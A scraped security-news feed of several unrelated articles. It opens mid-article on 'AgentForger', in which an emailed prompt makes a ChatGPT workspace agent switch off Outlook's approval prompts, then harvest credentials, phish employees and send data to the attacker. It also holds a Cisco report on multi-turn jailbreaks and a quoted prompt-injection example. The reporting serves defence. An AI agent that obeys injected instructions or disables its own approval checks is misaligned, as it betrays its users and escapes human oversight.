<p class="wp-block-paragraph">It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.</p>



<p class="wp-block-paragraph">“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”</p>



<h2 class="wp-block-heading">A ‘planted accomplice’ that does all the work</h2>



<p class="wp-block-paragraph">Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.</p>



<p class="wp-block-paragraph">“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.</p>



<p class="wp-block-paragraph">In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.</p>



<p class="wp-block-paragraph">In all cases, collected information is organized, analyzed, and sent back to the attacker.</p>



<p class="wp-block-paragraph">“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the <a href="https://www.csoonline.com/article/4198963/ai-security-operations-and-the-new-race-against-time.html" target="_blank">security model changes</a> as AI becomes part of everyday business operations.”</p>



<h2 class="wp-block-heading">FOMO exposing security gaps</h2>



<p class="wp-block-paragraph">This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.</p>



<p class="wp-block-paragraph">“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”</p>



<p class="wp-block-paragraph">However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.</p>



<p class="wp-block-paragraph">“Those triggers should be governed just as carefully as the agent itself,” said Bargury.</p>



<p class="wp-block-paragraph">High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.</p>



<p class="wp-block-paragraph">More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”</p>



<p class="wp-block-paragraph">“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.</p>
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<title><![CDATA[Apple Could Become the No. 2 Foldable Phone Brand in 2026]]></title>
<description><![CDATA[Apple could quickly become one of the largest players in the foldable smartphone market, with a new forecast suggesting the company will capture 25% of global shipments in 2026. The projection places Apple in second place during its first year in the category.







Counterpoint Research expects...]]></description>
<link>https://tsecurity.de/de/3690419/ios-mac-os/apple-could-become-the-no-2-foldable-phone-brand-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690419/ios-mac-os/apple-could-become-the-no-2-foldable-phone-brand-in-2026/</guid>
<pubDate>Fri, 24 Jul 2026 01:04:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple could quickly become one of the largest players in the foldable smartphone market, with a new forecast suggesting the company will capture 25% of global shipments in 2026. The projection places Apple in second place during its first year in the category.







Counterpoint Research expects global foldable smartphone shipments to grow 21% year over year in 2026, helped by Apple’s expected entry into the premium book-style foldable segment. Samsung is forecast to remain the market leader, although its share could fall from 40% in 2025 to 32% in 2026.



Huawei is expected to rank third with a 24% share, followed by Motorola at 8% and HONOR at 3%. Other smartphone brands are projected to account for the remaining 8% of global shipments.



Apple’s first foldable iPhone is widely expected to use a shorter and wider design that offers more screen space for videos, multitasking, document editing, and AI-based features. This form factor also appears similar to Samsung’s new Galaxy Z Fold8, which now uses a wider passport-style layout.



Counterpoint believes larger foldable screens will become more useful as AI tools expand into daily tasks such as managing schedules, editing content, summarizing documents, and moving information between apps.]]></content:encoded>
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<title><![CDATA[iPhone Ultra Production Enters Final Adjustment Phase, New Report Says]]></title>
<description><![CDATA[Apple’s first foldable iPhone is moving closer to launch, although the exact release timing remains unclear as Foxconn completes final adjustments to the manufacturing process. Apple is still expected to unveil the iPhone Ultra alongside the iPhone 18 Pro lineup at its September event, with sales...]]></description>
<link>https://tsecurity.de/de/3690102/ios-mac-os/iphone-ultra-production-enters-final-adjustment-phase-new-report-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690102/ios-mac-os/iphone-ultra-production-enters-final-adjustment-phase-new-report-says/</guid>
<pubDate>Thu, 23 Jul 2026 21:37:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s first foldable iPhone is moving closer to launch, although the exact release timing remains unclear as Foxconn completes final adjustments to the manufacturing process. Apple is still expected to unveil the iPhone Ultra alongside the iPhone 18 Pro lineup at its September event, with sales likely starting shortly after the announcement.



DigiTimes reports that Foxconn is carrying out final mass-production adjustments for the foldable device. The wording does not confirm a serious production problem, as manufacturers often make similar changes before increasing output for a major product launch.



Apple has reportedly placed strict quality standards on the iPhone Ultra because it will be the company’s first foldable smartphone. The company also waited for Samsung Display to develop an inner screen with a less visible crease before moving ahead with production.



Limited availability remains possible



Earlier reports suggested that Apple could delay the iPhone Ultra until early next year, while later claims pointed to a shorter delay of one or two months. More recent expectations suggest that Apple will announce the device in September, although stock may remain limited during the first few weeks.



For now, Foxconn’s final adjustments suggest that production work continues ahead of the expected launch. Apple has not confirmed the device, its release date, or its availability plans.]]></content:encoded>
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<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
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<title><![CDATA[NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems]]></title>
<description><![CDATA[Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plan...]]></description>
<link>https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.</p>



<p class="wp-block-paragraph"><a href="https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/releases/1.58.0">NetworkManager 1.58</a> was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.</p>



<p class="wp-block-paragraph">IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.</p>



<p class="wp-block-paragraph">“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” <a href="https://www.linkedin.com/in/vanhoof/">Chris Van Hoof</a>, director of Linux engineering, platform enablement at Red Hat, told <em>Network World</em>.</p>



<h2 class="wp-block-heading">Advancing IPv6-only support</h2>



<p class="wp-block-paragraph">Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.</p>



<p class="wp-block-paragraph">An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.</p>



<p class="wp-block-paragraph">“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.</p>



<p class="wp-block-paragraph">For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”</p>



<p class="wp-block-paragraph">464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.</p>



<p class="wp-block-paragraph">“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.</p>



<h2 class="wp-block-heading">Wi-Fi management updates</h2>



<p class="wp-block-paragraph">NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.</p>



<ul class="wp-block-list">
<li><strong>Band selection: </strong>The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.</li>



<li><strong>Credential handling:</strong> WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.</li>



<li><strong>Text interface improvements:</strong> nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.</li>
</ul>



<h2 class="wp-block-heading">Security hardening</h2>



<p class="wp-block-paragraph">The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.</p>



<ul class="wp-block-list">
<li><strong>CVE-2026-10805: </strong>Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.</li>



<li><strong>DHCPv4 client fix: </strong>An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.</li>



<li><strong>Router option validation: </strong>The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.</li>



<li><strong>Permission checks and deprecations:</strong> For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.</li>
</ul>



<h2 class="wp-block-heading">Tunneling and automation updates</h2>



<p class="wp-block-paragraph">Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.</p>



<p class="wp-block-paragraph">NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.</p>



<p class="wp-block-paragraph">The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.</p>



<p class="wp-block-paragraph">“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.</p>
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise 